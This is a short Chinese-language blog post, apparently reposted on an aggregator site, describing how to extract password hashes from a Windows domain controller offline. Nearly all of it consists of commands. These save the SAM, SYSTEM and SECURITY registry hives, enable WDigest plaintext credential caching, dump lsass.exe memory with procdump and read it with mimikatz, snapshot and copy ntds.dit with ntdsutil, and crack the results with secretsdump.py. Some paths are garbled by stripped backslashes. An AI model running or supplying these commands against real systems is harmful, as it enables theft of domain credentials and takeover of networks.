离线提取域控HASH的方法

Posted kevingeorge

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了离线提取域控HASH的方法相关的知识,希望对你有一定的参考价值。

1、注册表提取


提取文件,Windows Server 2003或者Win XP 及以前需要提升到system权限,以后只要Administrator权限即可。

reg save hklmsam sam.hive
reg save hklmsystem system.hive
reg save hklmsecurity secruity.hive

本地获取

#如果要提取明文,请修改注册表
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1
#破解hash
python ./secretsdump.py -sam ~/Desktop/sam.hive  -security ~/Desktop/security.hive -system ~/Desktop/system.hive  LOCAL

技术图片

2、lsass.exe提取


procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz#privilege::debug
mimikatz#sekurlsa::minidump lsass.dmp
mimikatz#sekrulsa::logonpasswords full  

技术图片

3、ntds.dit提取


ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINTwindows
tds
tds.dit c:	emp
tds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

技术图片
技术图片

python ./secretsdump.py -ntds ~/Desktop/ntds.dit -system ~/Desktop/system.hiv  LOCAL

技术图片

以上是关于离线提取域控HASH的方法的主要内容,如果未能解决你的问题,请参考以下文章

怎样提取域控机中的ntds.dit和SYSTEM文件,通过secretsdump获取ntlm hash

windows 2003 域控服务器导出全部hash的方法

windows 2003 windows 2008 windows 2012 导出域控hash的方法

Net-NTLM hash利用方法

Android课程---Android Studio使用小技巧:提取方法代码片段

删除离线DC